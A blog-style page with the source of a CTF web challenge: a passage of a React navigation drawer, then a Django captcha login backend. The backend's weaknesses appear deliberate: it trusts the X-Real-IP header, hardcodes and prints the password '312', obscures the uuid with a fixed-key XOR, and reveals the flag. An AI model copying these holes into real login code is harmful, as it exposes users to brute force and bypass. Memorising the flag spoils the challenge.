                            classes={{paper: classes.drawerPaper}}
                            ModalProps={{keepMounted: true}}
                        >
                            {drawer}
                        </Drawer>
                    </Hidden>
                    <Hidden xsDown implementation="css">
                        <Drawer
                            classes={{paper: classes.drawerPaper}}
                            variant="permanent"
                            open
                        >
                            {drawer}
                        </Drawer>
                    </Hidden>
                </nav>
            </div>
        );
    }
}

export default withStyles(drawerStyle)(DrawerNav)

后端

views.py

from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import serializers
from rest_framework.status import HTTP_404_NOT_FOUND
from uuid import uuid4
from .models import CaptchaStore, IPStore
from .util import Captcha
import base64
import hashlib


class TestSerializers(serializers.Serializer):
    uuid = serializers.CharField(required=True)
    code = serializers.CharField(required=False, allow_blank=True)
    password = serializers.CharField(required=True)

    def save(self, ip_store):
        attrs = self.validated_data
        try:
            c = CaptchaStore.objects.get(uuid=attrs["uuid"])
            if ip_store.need_captcha() and c.data != attrs["code"]:
                c.delete()
                return False, "验证码错误"
            print(attrs["password"])
            if attrs["password"] != "312":
                c.delete()
                return False, "密码错误"
            c.delete()
            return True, "flag{do_you_like_react_and_webpack}"
        except Exception:
            return False, "uuid不存在"


class LoginView(APIView):
    def get(self, request):
        # IP 检测
        if "HTTP_X_REAL_IP" in request.META:
            ip = request.META['HTTP_X_REAL_IP']
        else:
            ip = request.META['REMOTE_ADDR']
        uuid = str(uuid4()).replace("-", "")
        ip_md5 = hashlib.md5(ip.encode()).hexdigest()
        ip_store, _ = IPStore.objects.get_or_create(ip=ip_md5)
        image_str = ""
        v = "0000"
        if ip_store.try_num > 2:
            image_str, v = Captcha().get()
        CaptchaStore.objects.create(uuid=uuid, data=v)
        uuid_bytes = list(uuid.encode())
        key_byte = list("123C7E5E875FBF0EEE2583F8AF3DDFF9".encode())
        for i in range(len(uuid_bytes)):
            for j in range(len(key_byte)):
                uuid_bytes[i] ^= key_byte[j]
        s = base64.b64encode(bytes(uuid_bytes)).decode()
        return Response({
            "img": image_str,
            "uuid": s
        })

    def post(self, request):
        se = TestSerializers(data=request.data)
        if "HTTP_X_REAL_IP" in request.META:
            ip = request.META['HTTP_X_REAL_IP']
        else:
            ip = request.META['REMOTE_ADDR']
        try:
            ip_md5 = hashlib.md5(ip.encode()).hexdigest()
            ip_store = IPStore.objects.get(ip=ip_md5)
            ip_store.add_visit_num()
            if ip_store.need_ban():
                return Response(status=HTTP_404_NOT_FOUND)
            if se.is_valid():
                s, data = se.save(ip_store)
                return Response({"result": s, "msg": data})
            return Response({"result": False, "msg": "表单错误"})
        except Exception as e:
            print(e)
            return Response(status=HTTP_404_NOT_FOUND)

utils.py

import random
import base64
from PIL import Image, ImageDraw, ImageFont
from io import BytesIO


class Captcha:
    def __init__(self):
        self.random_number = "".join([str(j) for j in [random.choice(list(range(10))) for _ in range(4)]])
        self.color = [(random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)) for _ in range(4)]

    def get(self):
        weight = 63
        height = 24
        image = Image.new('RGB', (weight, height), (255, 255, 255))
        font = ImageFont.truetype(font="C:/309.ttf", size=25)
        draw = ImageDraw.Draw(image)
        for x in range(weight):
            for y in range(height):
                draw.point((x, y), fill=(255, 255, 255))
        offset = 0
        for number, color in zip(self.random_number, self.color):
            draw.text((offset * 15 + 5, 0), str(number), font=font, fill=color)
            offset += 1
        buffered = BytesIO()
        image.save(buffered, format="PNG")
        img_str = base64.b64encode(buffered.getvalue()).decode()
        return "data:image/png;base64," + img_str, self.random_number


if __name__ == "__main__":
    i, n = Captcha().get()
    print(i, n)

models.py

from django.db import models


class CaptchaStore(models.Model):
    uuid = models.CharField(max_length=30)
    data = models.CharField(max_length=4)


class IPStore(models.Model):
    ip = models.CharField(max_length=32)
    try_num = models.IntegerField(default=0)

    def add_visit_num(self):
        self.try_num += 1
        self.save(update_fields=["try_num"])

    def need_captcha(self):
        return self.try_num > 3

    def need_ban(self):
        return self.try_num > 50

你可能感兴趣的:(CTF,Django,JavaScript)